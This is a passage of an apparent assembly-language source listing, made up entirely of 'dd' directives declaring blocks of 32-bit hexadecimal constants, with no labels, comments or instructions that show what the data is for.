0FECD90E7h, 8F7AE79Fh, 0EEF6EDDCh dd 0CA9A4E72h, 0C9C05575h, 740E0B07h, 20512D40h, 6B3544F0h dd 2F1A2DB6h, 617A78F4h, 0D23AE72Dh, 0E8D72D3Ah, 25685FEAh dd 0D059782Eh, 4655D589h, 4CD8B681h, 5D5B6911h, 80A5D1ADh dd 0B86997E6h, 0E6016D7Ch, 8F73AE2h, 0CEE14E46h, 7E3927E8h dd 7FEE0E3Bh, 56D2B92Fh, 0B82F3E3h, 0F50797E9h, 9BA25716h dd 0B40E2874h, 0F3EE41Ah, 0E24016F7h, 0BB3A97BDh, 5ABB58DDh dd 0F063B14Ch, 2696283Bh, 5EE7108h, 4F0DC568h, 0CAC6546Fh dd 581C4CFDh, 0E156D1F7h, 5C6AFB01h, 0C97F123Ah, 9C09E8EFh dd 68418B99h, 0BB896CC8h, 0A2908F97h, 8B0EEC1h, 0C736F601h dd 0F1211E01h, 0BC2FC07Ah, 444BB120h, 0E00024ADh, 874C6A73h dd 33B047FEh, 89284341h, 3B6E680Bh, 3C5ECB0h, 42285B12h dd 0BB8712EFh, 377A1448h, 0D8659162h, 0FD14EC37h, 0EC909BB2h dd 25E2AD20h, 0B170685Ah, 71A0F4B5h, 0AD0B3EF3h, 0FA9FFC5Eh dd 59C2045Eh, 2D50A93h, 73AF370Ch, 103C9D84h, 0A49726B8h dd 0C2D2F78Ch, 60763EAh, 9DF95608h, 58B24A8Eh, 0EE3163Ch dd 3BEE9290h, 64872726h, 8822C72h, 35F70440h, 0D4B03BE1h dd 0CF1B171Ch, 6ECD0172h, 82169877h, 0F858E1CAh, 92165F52h dd 0E56BFC09h, 0F58C7530h, 5EEE865Eh, 38C180BDh, 2E6243F5h dd 833BA1E9h, 1D4FAFBBh, 4BD33212h, 0B0E9701h, 0C803951h dd 44D84DDDh, 644AE0E9h, 0E7FA56C4h, 4A4F8B90h, 822CFEA3h dd 37AC78C4h, 12FCEF80h, 0E91013E1h, 0BB257283h, 5FA062D7h dd 618B47E2h, 5ACFA4D7h, 0AED743ECh, 610D0F0Ch, 0A5D49F58h dd 115BDE09h, 0D77CB974h, 0E2DABC4Eh, 885574D2h, 0FF25BA09h dd 2CD53161h, 39B04BB1h, 492AB003h, 4E7FAEFBh, 0FE111718h dd 5FB96E98h, 0B82040FEh, 80A3449h, 4A5F79FAh, 0B40B2D25h dd 753D1A2Bh, 968DE930h, 0BFF3E797h, 0D4CD1E96h, 0F9A8EA7Ah dd 0E852BA92h, 6B4884E4h, 0ED5F8CD5h, 0A86889CFh, 0D7E3B0D7h dd 6BC8B57h, 0C71D039h, 9811D4EDh, 0CF40E7A4h, 83E0B566h dd 7AE10145h, 9CF401ACh, 4C456C33h, 5F814FEDh, 9099D1C6h dd 5A857F76h, 0B813F4EFh, 3D8C4395h, 6612B1E6h, 0E450BE6Fh dd 130E4C08h, 0E38C1EBBh, 0A3905F55h, 5D9C1069h, 7848FC4Ah dd 7C278527h, 72586849h, 0CB2DD955h, 34F267F7h, 7AD5FA81h dd 8490B6ABh, 99BC0AE9h, 1ED5B11Ch, 0C76544CBh, 0CB31EEFEh dd 0B00408A7h, 0A39089C6h, 278CF99Fh, 8DB0B2C6h, 40D2C8FCh dd 5A8704BFh, 0DA280075h, 1D38EA80h, 8E1AB151h, 0CA0573F1h dd 7CCFB359h, 7256C327h, 5870EB1Eh, 0C76444B0h, 0F4276017h dd 0F59706A8h, 2DDC5ACh, 0D6C94030h, 764082D5h, 90DEE6B9h dd 54B858C9h, 0CD6A8FB0h, 8EB6BA53h, 420D6882h, 2EFD9E57h dd 273F0CE9h, 6E456E5Fh, 20AD6725h, 95DC6E0Ah, 78E70681h dd 0D230614Ah, 0C52F2AE0h, 0F7FF62F9h, 0DCB555B6h, 8FC4F83Eh dd 561A18B7h, 0AC10CE86h, 9A866CE9h, 0FC97F74Ah, 0B7CD891Eh dd 9B08F865h, 4B6C30EAh, 1075F9C6h, 554C03F8h, 5C817845h dd 0D69F209Eh, 0F64D0E46h, 685D0A10h, 0FDEBA798h, 15E09E0h dd 0C6CFD1B6h, 5AC36439h, 0AADAC5A6h, 13C2C367h, 2F60D910h dd 8A1734E3h, 4640F8D7h, 469F5336h, 0F1D4B05Fh, 2781EF04h dd 2C88AB4Eh, 0F285DF15h, 0E3062E42h, 514CA8Bh, 5C80A5B8h dd 106EA808h, 3D58B752h, 0EA13063Ch, 0BDD0AB1Ah, 5E5DEF89h dd 0E842E052h, 701697Bh, 3C9C2D58h, 0BC6C99C6h, 204F624Ch dd 5F62B470h, 63A042F1h, 62C25B77h, 0E556D801h, 0CC129089h dd 208D92D6h, 292FAA27h, 6B3C7E6Ch, 7210A9ADh, 0B1AED2B9h dd 8DA66F35h, 96629427h, 5813D677h, 0A9AA500Ah, 0FDF89075h dd 418B820Ch, 50519720h, 5BF2F488h, 42B05FB2h, 5612B64Bh dd 2EEC8ABEh, 760BDCBEh, 2558826Dh, 0BB8604D9h, 80080B18h dd 286C17EDh, 7A1E8DEBh, 0E43534BCh, 89F1BFA8h, 63D44C6Ah dd 4905675h, 27336916h, 4EB809BFh, 46B20A00h, 48B73748h dd 5E6DE927h, 944DB364h, 41A2381Dh, 61C6D040h, 0B5217274h dd 88172D2h, 22A9357h, 3A0459E3h, 0AF7BA119h, 21C521ACh dd 2FF2FAFCh, 0C164BAA5h, 2C7F40C0h, 0C81F9D8h, 58A36EDEh dd 0B240F329h, 46B05508h, 718D797h, 79244C73h, 8180E274h dd 0A95420C9h, 1DDA9D01h, 835C15F0h, 0F4F102D2h, 6952FACFh dd 16B4DF6h, 0EBC0E940h, 0D6AC34FEh, 2568B740h, 0DA2477EAh dd 920116C0h, 5CCC60FCh, 0C0740FECh, 2868B716h, 0DE9558E7h dd 0B1264Fh, 80E2B252h, 7AF3AAC2h, 0DB98B804h, 0A04C49B7h dd 0DD5E3E25h, 16EE7BEFh, 0BA055C16h, 29EF0585h, 38BE2EF0h dd 0DC2FE921h, 12CFE8A9h, 0B58C27F0h, 0F4BB8F6h, 0FEC46436h dd 0DA531EBh, 90E73B5Fh, 94014496h, 3DBD007Fh, 957DEC76h dd 2B4240E2h, 0E0F5F2C3h, 0DA728816h, 0D6B732B8h, 2FDE959h dd 444CA617h, 0BEB4F50h, 528C5D36h, 6166E927h, 831C2189h dd 29458492h, 11C0FEC1h, 1C02AD0Dh, 8905459Ch, 0D0D7214Ch dd 0E8882FE6h, 0BE0C6244h, 7AD02CABh, 1AC060B1h, 15C78058h dd 0EFEAF7E0h, 87D5AEAh, 0B5E9B3C2h, 0A599F72Bh, 0BE00EAFDh dd 258C40CAh, 2872092Fh, 0F127BF00h, 0DFBB536Ah, 482A277Ah dd 75A8295Fh, 989D1996h, 95015886h, 756BF151h, 33944648h dd 0E62ADB4h, 8752046Ah, 0AB19EFD2h, 30AE3EDFh, 0FEDD5E27h dd 6FA5DEBDh, 0BB030965h, 7192C837h, 489CD75Eh, 270D9AB1h dd 0ED7B650Bh, 0FE697645h, 20C1F05Eh, 0B907DE09h, 0BD65325h dd 0F6E8F8A4h, 9AE0E245h, 4E499D99h, 47FA2006h, 0C2EC1612h dd 23D04DD7h, 4B778A42h, 4B7DE801h, 8D439AFh, 99DE8D4h dd 1DF3556Fh, 7BC65549h dd 32BF3BF1h, 7E5D5F76h, 52FCD264h, 0A0B206Ah, 0B996FF18h dd 7188CA27h, 21E8222h, 44F820A5h, 42E42D4Fh, 26D4BD05h dd 0D50B2913h, 7FC529CEh, 9820734Eh, 685876BAh, 13BA0D7Eh dd 2ABE85Fh, 2A2625F6h, 40506032h, 5752529h, 0A26B75h dd 0CF810706h, 0F300B50h, 0D716D0B8h, 7FE774Fh, 0F325A816h dd 5658294Bh, 0C3CF6FF1h, 0C14717E3h, 91F1436Bh, 0A93B1035h dd 5C07D6F4h, 0F501B0B5h, 0A475A0E9h, 0FC6AE361h, 0C2277B31h dd 62A3763Ah, 1ED5DB41h, 0AFC712E9h, 6A914BDh, 0EF756904h dd 416EAD1Fh, 91A67F08h, 0AAE9D29Eh, 9F50992Ch, 27A8FD4h dd 9AC6DB0h, 1BF0F789h, 0BDB8FEEAh, 65665340h, 9283A68h dd 0AA28AD0h, 9C0C49F6h, 0D66A0B72h, 605F0145h, 241E7Ch dd 5835609Bh, 0D31387Bh, 4F02FF07h, 8BC9E941h, 2DB56E44h dd 0FAC6BC9Fh, 92BBB22Fh, 0EE3F84FDh, 2F01ED57h, 498BEC5Bh dd 0BA122830h, 7828AF0Ah, 0B227B852h, 0E6D1307Eh, 820AFAA8h dd 794A2C7Dh, 0B7535700h, 90F88818h, 437F30DBh, 31CDE2E7h dd 2F11AE2Ch, 7E61440Eh, 80DAF709h, 647DF4D0h, 0DE1FC1Dh dd 70CF2C8Eh, 0D80FF40Ch, 20BA295Eh, 1533C75h, 0F5300375h dd 0E5805E32h, 74C5E628h, 59E87D42h, 0E869BF26h, 0A2D7B509h dd 1662B167h, 8585E59Fh, 0ABE658E9h, 0F1344B45h, 20EAB940h dd 0BF8E40ABh, 0DCBD9BF8h, 35BB0186h, 7E587312h, 914A108Fh dd 86B19AD8h, 65C1804Ch, 302D2D06h, 0FCB64FCh, 0D8D6FEE8h dd 53518360h, 0E9FC0BB3h, 0FD9E25Bh, 0C781EF44h, 0E93AADF3h dd 90E90976h, 50D47CD4h, 6617AB05h, 0D50B4619h, 0AC5830D1h dd 9BB9F7Ch, 0BE53A1DAh, 970A0116h, 1BADC2F4h, 0B5EC84C3h dd 0D051DE8Bh, 0A54A42h, 0E2C0C7B2h, 80070867h, 0CA33D167h dd 81CB8FD0h, 0FF8F6C39h, 0E2F2EB05h, 738A347Ch, 10CAAD18h dd 0BB4A4EDBh, 0D74B164Ch, 0A96AFF81h, 62D32F51h, 5AB3D4D0h dd 0C1A37818h, 0C3C0A3A2h, 279C851Fh, 87C25F4Bh, 26D15675h dd 28B94728h, 34B6807h, 0A76CD50Bh, 3FF123FEh, 0EFB4B8B8h dd 32ADA8B8h, 306A0211h, 554D7705h, 0CB4ED856h, 3FA03CDh dd 7AF5E03Bh, 7F070078h, 3C1CBE56h, 29542476h, 14B5E90h dd 111A9664h, 0BAC856C4h, 0F6666A27h, 0C8600DFFh, 0A8555F8Bh dd 0DB423857h, 0F0D2D1B0h, 76D86913h, 4E87FA7Fh, 422CC369h dd 22C77BB1h, 11B3905Fh, 0BA4E49CDh, 78144D32h, 0F47E9DCDh dd 830B7958h, 4500BAB5h, 2B6D1F48h, 0BBEF5801h, 5FB82910h dd 69340F1h, 5A0EFFFCh, 47041742h, 660AD832h, 67029DD5h dd 16A76EA2h, 967A1DFh, 2C2F1FF9h, 4A715A89h, 0D3093204h dd 0C6A8E7E9h, 8D8ABF4Eh, 174E4FD4h, 9DDFECCh, 0B27F8E21h dd 844C169Eh, 8D13A389h, 0A529CDA5h, 4DCD20h, 0C179943Fh dd 0FA2D07E0h, 139C5302h, 0DC7AF7E9h, 79A38C83h, 900FC741h dd 65459473h, 4904493h, 5C1672BDh, 7E7D6B22h, 89DD318Dh dd 2DA3D4E4h, 1E177F41h, 20B8524Bh, 12AC7A3Fh, 5C7F02B3h dd 0D7E2C09Eh, 20A4C4F7h, 12D8B4Fh, 6991BC6h, 0B262594Ah dd 14AC228h, 0ECD691BCh, 0DA3B3A91h, 0F0D3AEA9h, 3917A449h dd 4FB33D9Bh, 18D0094Eh, 64076E9Bh, 6A8D3B9Eh, 1F815E64h dd 4F29FEDBh, 97BA750h, 1A6B2D2h, 42A4ADFh, 26D0FFEFh dd 90866B62h, 0F4C90604h, 0EE5EEC59h, 27A40638h, 5C025F01h dd 5501D2C5h, 0A03B5D50h, 8F13D8FFh, 0C0FBE7D5h, 2F68519Bh dd 43F90416h, 0F1810060h, 8919C02Bh, 2607E9CEh, 67ADBA4h dd 5049F69Dh, 0C1C65BCh, 48E7E91Dh, 30F9ED29h, 0C5A4EE10h dd 0CD05C1ADh, 6CB5E9D7h, 0EF0097F5h, 5287A15Bh, 0E51D8474h dd 3EEDCB2Ah, 710BB472h, 89EFA8C8h, 0CF0E4835h, 0D26A1233h dd 4921072Dh, 0BC560E90h, 4FC8103Dh, 106CF14Ah, 0A549B8E7h dd 31A7F304h, 0F2EB58C6h, 622F25BCh, 0F00C5871h, 0BCC29F56h dd 123BCF67h, 4D09E8E6h, 0CE69401Eh, 476C00D0h, 0A5BB5375h dd 3C2D5B18h, 0EE2B7221h, 2834F208h, 26FCF389h, 897254A7h dd 94790F58h, 0B9F45F83h, 6E18E967h, 7A800D54h, 4C0822B0h dd 97819A6Ah, 3B1B6047h, 0A23486BDh, 795EC2A3h, 0E2811B76h dd 72133166h, 0EC99130h, 0E96F8259h, 6913BA32h, 0A1517E9Fh dd 72EDEC6Ah, 0A5AF7595h, 0E9B1F0F6h, 0A072FE1h, 4974F129h dd 0ED05DFEDh, 0C0E67B59h, 3076CDBCh, 18C752F2h, 0F2F1F4F3h dd 3020EB01h, 5D828286h, 79095088h, 0C21631FBh, 0DFADAEF4h dd 7EC24F13h, 88CED722h, 389C03B7h, 0C18503C0h, 12FC3705h dd 3406EED9h, 3F2471A8h, 0EF121DEBh, 293F82AAh, 82B4E6C0h dd 4841DEB5h, 0A85A44B3h, 0C3433Ah, 0CF2396C2h, 0B8FA292Fh dd 0AFBB0790h, 0F0660C3Ch, 9D6458E3h, 0CCE95B0Bh, 0F041C4DEh dd 0A6144C66h, 0E4F2AAD2h, 5D512Ch, 64D11370h, 71121AB9h dd 4908326Ah, 4C680485h, 2413A570h, 68902120h, 7BF12A0h dd 810F4C00h, 0A604EACAh, 1F0CC126h, 214AE276h, 0A5163E75h dd 0E4BE04AAh, 0D492AB06h, 4C21588Ch, 0B721B152h, 8544F300h dd 56ABF3Ah, 10EE5E4h, 0DEEEF2CFh, 0F4361FC4h, 0C1C73581h dd 9FBE80F4h, 0C24AF6F2h, 40C65F88h, 0DE50F705h, 38396EABh dd 0E7D1170Fh, 2227551Dh, 0BD09821h, 7ECD40FDh, 959BD003h dd 57488302h, 58BB94Fh, 453A81FDh, 0E34DFEC4h, 0B10AA2Eh dd 10A98FC1h, 7E66B15Bh, 0B6D2DEA7h, 0EBF13FF3h, 0C14DE093h dd 4B0F736Bh, 40F5B90Dh, 11EC5F08h, 5B1C0FBCh, 6609E812h dd 5AE6702Ah, 35B30B28h, 3126CB58h, 401AB0D6h, 725E41FDh dd 0BD1F453Ch, 56B24214h, 94C3D5F7h, 1A4AF0FBh, 0E23FF3F1h dd 771370E2h, 0FFB07FBh, 26F9F378h, 39387B58h, 333030E9h dd 5536EB70h, 5245531Eh, 642E3243h, 41018F6Ch, 50CC5644h dd 3F0DA649h, 4C38544Eh, 11E0AD5h, 40204509h, 0FDC58384h dd 9B78741Ch, 4314057Ah, 28CCFDE3h, 39420A77h, 219CC411h dd 9E43082Fh, 0A2882590h, 82211B44h, 1111129Fh, 880708F8h dd 0C700F73Dh, 0CAE82209h, 70F03906h, 103B00C8h, 0B371CCCh dd 0B0001D33h, 5961A901h, 0C07DA8F7h, 8D436309h, 400066A6h dd 0CA93988h, 9C78A4h, 1A4CBFC6h, 1E3C6A35h, 0AE46DF1Ch dd 5A0C11C0h, 0EA827Fh, 360EC95Ch, 8E1EBB8Dh, 0C5205600h dd 17A82770h, 0DB74DAh, 0FA9B5198h, 74404FD0h, 1BBE2600h dd 1CB4A395h, 0C5D00AEh, 0DCDFCF2Ah, 42D6030Eh, 13635500h dd 78169Dh, 38B4D32Fh, 0E4D27D55h, 0A188D600h, 0CEAD0842h dd 2CF40012h, 6F309AEBh, 3703193Dh, 611E2068h, 4FDDC042h dd 0A9320B0Eh, 0F9A00728h, 5BE0686Eh, 0FD537300h, 0FF516956h dd 55790050h, 5462ACFBh, 9A0129F4h, 6EE2D8C6h, 980DAC1h dd 0DF64E4C4h, 6738E9CDh, 0C3B50A42h, 0C0009979h, 7A52E5D5h dd 69060054h, 0EDC88283h, 5F0F7C65h, 0C1A48BC9h, 43AC615Ch dd 0B8D2CC40h, 0E92B00E3h, 0EACCDC13h, 7C24C38Bh, 7A00C82Fh dd 0F6597151h, 0A8E4D4h, 0D31C6241h, 9328D5F9h, 6A36F400h dd 0B9DCFF5Bh, 25DECE06h, 2A71DFE0h, 0E01C2E0h, 8C0F821h dd 7D30E823h, 0CBF3023Fh, 5109B805h, 9657D86h, 0F55B7B00h dd 0F0587EAEh, 4911831h, 44B7DFBCh, 391E1242h, 0A07280EFh dd 4528E1E5h, 0CED9EEA0h, 0A790EE02h, 637A4064h, 165DF817h dd 49532477h, 67D800F1h, 0CD113B04h, 4698F11Eh, 0FA8F7540h dd 9FFB3A24h, 446091E4h dd 7C424A6Eh, 0BABB6013h, 75E21AEEh, 0C819C306h, 1F0F856Bh dd 466E4D9Eh, 155CD82Eh, 0BCDFC926h, 0B7569A00h, 3EADBA1Fh dd 0B3005D54h, 3698BEECh, 90001DE3h, 0C516C692h, 0C415E6h dd 0D12DA82h, 88703505h, 1EDF21D0h, 867D4165h, 63EDCDDEh dd 0E6BF0C48h, 66276DD3h, 8AE942C0h, 275DA181h, 4FC1EC7Eh dd 1E6750A8h, 190097C6h, 0C5558FCCh, 923ABF4h, 0D925111Ch dd 5D448003h, 0E5FC400h, 0D080FE3Dh, 0E53C0E58h, 0F867CC1Bh dd 37DF3D6h, 25762600h, 5035BBC6h, 0FEB62C7Eh, 1005019Eh dd 0D0F934B3h, 0D890F2EFh, 0B59BE40Ch, 0A0B0FEEEh, 0DE5B19h dd 0DBCCB864h, 2E7FC08Ah, 75C20E1Fh, 0E65E70C0h, 9422C99h dd 28073955h, 0AA833200h, 6F00774Bh, 86E5C9C0h, 5D61ABh dd 1D8E15A0h, 5605DD70h, 96806C54h, 0BCACAA07h, 0B920B797h dd 0F95A592h, 99BDECBBh, 6D95E84Ch, 14025601h, 161D2A26h dd 28080980h, 2D311B20h, 0C48E2302h, 407E0FF1h, 4C19044Dh dd 0C08A55A1h, 0D6A714BFh, 0CA557D01h, 259FE3C3h, 0CE914073h dd 0A277F8DEh, 0C26D1500h, 0B796E4CAh, 1D0E49F2h, 3F9B0528h dd 1C3FE0E6h, 2CDB14E0h, 0D90B8CB5h, 0A5C99167h, 0EB40D590h dd 0D7207E5Ch, 8EEC2EE8h, 0C11D0710h, 34BD0A6h, 40FBB1B6h dd 3977CFC0h, 8F8C2D00h, 95664563h, 0D8841244h, 0BD3C0260h dd 1B60B26Ch, 65071AD6h, 9E300121h, 6175E70h, 23F3003Ch dd 0BE4AB048h, 0E0489764h, 5489007Dh, 0E8CCBB18h, 9D430750h dd 40993F10h, 0CA9CED5Eh, 0F43D0200h, 0D297F6C4h, 0BB12016Eh dd 0D91465C8h, 80AFCDE9h, 32103A13h, 9483ECh, 85365AA0h dd 0F695B905h, 58C8D000h, 745C0A9Ah, 14549664h, 0AA60BE7Eh dd 1491EC3Dh, 0C3296000h, 7BA788C2h, 6B4B005Dh, 99E53617h dd 790075B0h, 9AA0EEB1h, 2C066544h, 9F28D4A1h, 99843BC1h dd 9C1B6445h, 1686EAD4h, 1F19D6EBh, 5C90C062h, 4C6911B9h dd 2DC7E42Ch, 4FAEFF00h, 3DF05F07h, 9401FBDBh, 59673B2h dd 0F1C200CBh, 0DE1200ADh, 0AB02973Fh, 2C00F529h, 173E6940h dd 24807B35h, 50726D7h, 0C0B687E6h, 1B71B4ABh, 8E60DE00h dd 301827AFh, 1522002Eh, 6D6E1333h, 4F09DC71h, 77FEDD75h dd 2B11D1A3h, 34163DF8h, 6D1D3AE4h, 6F8C1424h, 6B423Ch dd 0EC311F3Fh, 0A5959DD5h, 919CAB18h, 12AF8F09h, 4B29AA1h dd 0C3450DA1h, 5EC7C4Ch, 0C1182E98h, 2CA1DC42h, 164C4A4Bh dd 0EA3C58C5h, 557876D9h, 8E932D00h, 0F5C6F708h, 92CC4C5Bh dd 7454A300h, 0B736AD52h, 0A20C2BB0h, 0BF8ED586h, 0F2C40FF0h dd 3758F15Eh, 5526FBC3h, 0CA97B1CEh, 4352FB00h, 0D327C34h dd 307FC404h, 262308h, 0ECDD7353h, 0C269DFFAh, 4F3B6ABFh dd 0CF002BCCh, 0BC9A84F3h, 34115Eh, 29B2C614h, 0B7D61DA1h dd 0CF3B1312h, 7D24CA47h, 0FFE28458h, 82A11FFCh, 3AB6D12Dh dd 0F44BF7C1h, 0BC1782A4h, 9090E6Dh, 0A53A05F0h, 0F8D4F883h dd 0AE4245h, 24B92FE6h, 99EA84FCh, 1730317Dh, 331C2CC4h dd 49D6009Ch, 0CA237F5Fh, 90120EEBh, 0C31D6A63h, 8D28A201h dd 64D4471Ch, 24F100D9h, 7090545Ch, 0FD01DDC9h, 0D7FF48A1h dd 19807EC2h, 83DB2475h, 0DD006AE0h, 69BAD89Ah, 3C767A15h dd 38F3F97h, 3803B8A5h, 10C8E7EFh, 0D4001727h, 418FAFF9h dd 8CD2FAh, 19F2E20Fh, 0AD2E0A1Eh, 47C0AE4Ah, 0D2E4D0h dd 0D5F5D17Eh, 0DBE32C7Bh, 172E752Eh, 72DEFC40h, 5C1401A3h dd 5FE46452h, 4E099650h, 0A055AD0Bh, 3F9ACC98h, 0E07D5049h dd 6F5B004Ah, 0A72FEE02h, 3A92B212h, 0B3E84000h, 269F70D8h dd 8D7E0BBDh, 6002ABCh, 8481AE20h, 7756A400h, 3A133834h dd 0F8B01E1Ah, 166CA3h, 1D6540C3h, 28768DB5h, 436E2561h dd 95743372h, 0C2D22435h, 0C1E1D56h, 0AAED3899h, 0AB4A5FBAh dd 41796F40h, 969A08Fh, 72BC8B45h, 8A39B980h, 8CA9E8D6h dd 409A8EAh, 0FD2F7400h, 10B277D9h, 0ED336185h, 0B95C530h dd 6668B902h, 0CE80CFD9h, 0E6C7258h, 70FC3F00h, 4D7CF44Ch dd 52D30043h, 0D615A88Bh, 381A9D35h, 0C8586FAEh, 0E86BE9Eh dd 3CE5B2F2h, 0E6CD28E0h, 0C80082B8h, 3B072767h, 6AF93D2h dd 2A101E25h, 0AB0DB926h, 4A1ABA0Eh, 81028AA4h, 0B401494Ah dd 2E1BB1D4h, 0F96D55Bh, 720C33EEh, 8FB31200h, 0F2CC2FE9h dd 0A3830085h, 0E228775Fh, 2500FADCh, 7218E5Dh, 0BA185093h dd 0CF0348DFh, 0A0983200h, 251E8CA5h, 0C78F5416h, 58F4A51Ch dd 889A5D0h, 8D710010h, 784674A2h, 8300D211h, 4A63A507h dd 13721231h, 305F357Dh, 0D6C02F16h, 0F69AE00Eh, 0A5E72145h dd 0B6E44F81h, 27BA4880h, 0DC220200h, 0EBF5AE8Dh, 0D7F39A00h dd 51044D75h, 48FA7A3Eh, 218CC284h, 6045792h, 20C1B35h dd 46FEECC0h, 5AF40EF1h, 0FF80BB47h, 0ABFDC5FAh, 280BDC1Dh dd 0AD84C098h, 8561366h, 0F687023Fh, 32E3CBEEh, 1D345448h dd 12803A71h, 0F164DC94h, 795A3AB2h, 0C190D384h, 80F1D5B9h dd 349EA074h, 6963E177h, 0DDCB143Eh, 0B497C0C0h, 634A3890h dd 0A2FB2D03h, 2758A117h, 3A0B7058h, 2C13747h, 40F299BBh dd 725457h, 4B6E16DEh, 7D2910E5h, 4EADFE0Eh, 3905C063h dd 12FAC0CEh, 705BA4h, 0AB3F364Eh, 0D900B714h, 0C7F7220Dh dd 68DBFBh, 0EAC8C26Eh, 8564B594h, 24E8C4EEh, 61CE0212h dd 509C4440h, 705D054Dh, 0CDB83095h, 0BD163272h, 0D07EA90Fh dd 0DD2C00CEh, 0EA8DE8C8h, 77C0F53Fh, 0E56B00B4h, 15351639h dd 8500E0C9h, 0BB13F2FEh, 0E38861Eh, 7C4D0D1Ch, 0AEF7D1E0h dd 3C02A50Bh, 73BE0959h, 0C7954058h, 8CB2F6h, 0E154AA8Ch dd 0D533BB39h, 19A12800h, 93BD818Bh, 16A2E284h, 3038135Ch dd 3B090323h, 0F2C80C0Bh, 4195099Bh, 0EC2DE88Ah, 0BEC69516h dd 230C3540h, 0E08FC2EBh, 1C171DCCh, 9FEE031Dh, 6FF00A5Ch dd 50766652h, 0CBEB3D04h, 9F9188F7h, 93202510h, 86B400E2h dd 7B434FB8h, 0F113D827h, 4C5091EDh, 3A18059Ch, 0E7AF02E4h dd 22134F42h, 68D961FFh, 59B56BD5h, 5BFC75E6h, 0C86CF954h dd 0F076AC16h, 0CD0EF277h, 0C0788664h, 8D2B9FCAh, 0BEAF807h dd 39E3A190h, 544ACBD8h, 84FC3DEBh, 8408F7Ch, 0D3118EABh dd 8BBFC3C4h, 0DA94C082h, 0EAFFFDh, 6BE4B718h, 0C53638C7h dd 96E53400h, 0E9A255B8h, 37A05h, 72A7E0FFh, 68A63C91h dd 5751581Dh, 0D97B7781h, 6261C907h, 17F8E4h, 45A10BB9h dd 8F016D2h, 13FF9024h, 48E40D00h, 3571769h, 0E0FE1BBAh dd 6E003262h, 50981F3Eh, 0AA014Ch, 0A92EA1ABh, 0DD3A4F5Eh dd 5B3F4903h, 0C8E916A6h, 0EC6E86EDh, 28930F73h, 90E08D62h dd 33B97910h, 0C8CC4F0Fh, 5B031719h, 809F2EEEh, 694330h dd 4775BADFh, 686B8C93h, 5C15DE98h, 8F08E8h, 9A7DF8F1h dd 74207F2h, 0BBC88156h, 5A2A91A1h, 0EFE0E066h, 46C2F0F1h dd 0F8EF809Dh, 0C2182668h, 0C0BF660Ch, 320F35DEh, 0F59C38Bh dd 0C55F4088h, 9E5E1CF1h, 7E9CCCDh, 2D026617h, 57DC569h dd 40ED8E7Fh, 0E92A7912h, 0D25C010h, 0ED158520h, 0E20FA5E8h dd 0E144347Eh, 91B0C1DCh, 0A6BA3680h, 8B0F613Bh, 0D82E0351h dd 0A0389F2h, 0F902EA83h, 0BE53884Ah, 8D3EC50h, 0F4B5E34h dd 10B83330h, 136C0C83h, 3D1526E9h, 68030F00h, 0D32DC097h dd 77513196h, 78E9F15Ch, 440072D8h, 1D8333C2h, 1C9867DEh dd 40B03ABCh, 48211216h dd 0DF00B7C9h, 2A8627F0h, 703389Bh, 0FFE9C46Fh, 2CB8324h dd 86D8C3F7h, 9DD97CE9h, 6007128h, 1DCBABECh, 8021CE22h dd 0F4F91283h, 5DAA1101h, 93A797E4h, 0C90C3806h, 11B7035Ch dd 18B2E21Bh, 81D114DDh, 0E458B62Eh, 58116039h, 208AF744h dd 0D81D9E55h, 0AEC8EA78h, 0C804F83h, 0F2D61952h, 9A1E7090h dd 0F600090Bh, 2D862EB7h, 986E0004h, 0C3399405h, 0DE301465h dd 7E0D109Eh, 8F5B0119h, 0F497AB54h, 36EC8EDh, 0D474870Ah dd 603184C4h, 0C307F3AFh, 39C1101Bh, 0F9108C20h, 99F141h dd 0B572336Ah, 8E7D2778h, 742E4203h, 0C034709Eh, 1D3266BCh dd 373E986h, 0B508163h, 276B92C0h, 54B67707h, 9B407921h dd 877E17h, 97572C76h, 836FD947h, 790D6D00h, 732B7489h dd 32450E87h, 284FB970h, 53382A4Ah, 23C3B8D3h, 54184AC7h dd 25085963h, 76C361h, 2E63E7B0h, 0D96E9D72h, 6AB85600h dd 9B9C5934h, 0BD701D08h, 966D0F76h, 830E1501h, 2A54CC67h dd 24A68A0h, 47355278h, 513929h, 2FB1F104h, 0A194024h dd 0F97242A7h, 475380C8h, 5F56D2F0h, 3D9A1400h, 7E089403h dd 4306812Bh, 194834FCh, 2470785Dh, 208108A1h, 1D034D58h dd 9CAE373Eh, 80628A9Ah, 9454872Ch, 8C0090D6h, 887A680Ch dd 0CE48E30Ch, 4ED63003h, 6434951Dh, 2004A058h, 61DCA715h dd 314B4075h, 98742581h, 71597640h, 781554D5h, 822F284Bh dd 34D42158h, 0B02C14DFh, 77C3C8EFh, 0DD3A13E4h, 0BBE4C580h dd 7E2A9CB3h, 0CC9B498Ah, 0D84F1B1Fh, 941628F9h, 96A35502h dd 896F0297h, 211CA40Ch, 123CA141h, 57B830A6h, 103AC37Fh dd 0DC5079D4h, 9778D80Ch, 4FC8E49h, 0CA5D7A0Eh, 6903B0C0h dd 834E3A47h, 5C30EE4Ch, 17DD8619h, 0C14CC4Dh, 0B1E7254Fh dd 1D60AA9h, 74642919h, 4CC26544h, 6F2AF08Bh, 46BC818Ch dd 1D7D4A08h, 732CB8A4h, 0D88564D6h, 0F042892Ch, 994D9780h dd 0E0449AF8h, 0C95454C8h, 48845659h, 2CDB4104h, 0C1859927h dd 32955EDCh, 0E4288F8Ch, 947804D4h, 0C914A361h, 9998907Ch dd 8C59099h, 0DC985982h, 6342307Dh, 0C267819h, 566988A6h dd 64AC8AE0h, 1093E910h, 40989498h, 0E0A8289Dh, 0CA48606Fh dd 0A1DEC80Ch, 998D4680h, 9B280C8Ch, 8B168C90h, 42A39D6h dd 335F8285h, 0E0580888h, 0A2F44068h, 28D87544h, 124896CCh dd 4280D204h, 8CB0C560h, 9A452846h, 6734800Ah, 510C6199h dd 618C4023h, 0C997B69h, 34ED23FCh, 808A8EAh, 4ACD64DFh dd 38E680DBh, 2E0C8C99h, 4AAC9906h, 5C917F9Ch, 956521EAh dd 0A0578CD9h, 9B6261DFh, 9714416Ah, 0FEA4DF11h, 0F074102Bh dd 5061D50Ah, 115C8F2h, 17DAC6CFh, 93518AC8h, 814DA81Ch dd 0CA9103F0h, 6AD8D279h, 5849BE30h, 4CA4A1B2h, 0F72CCF97h dd 0F6C4D738h, 52D5C16Fh, 10802289h, 5F928250h, 78907CE2h dd 4424F13Eh, 42E64144h, 0DC2063DCh, 0C0D0E0A4h, 0FD314918h dd 4863AD2Bh, 0E4D2E870h, 10FB6D44h, 8C7A229Ch, 0C6A4083Ch dd 28F270C7h, 0B2E03CE8h, 8F4163DAh, 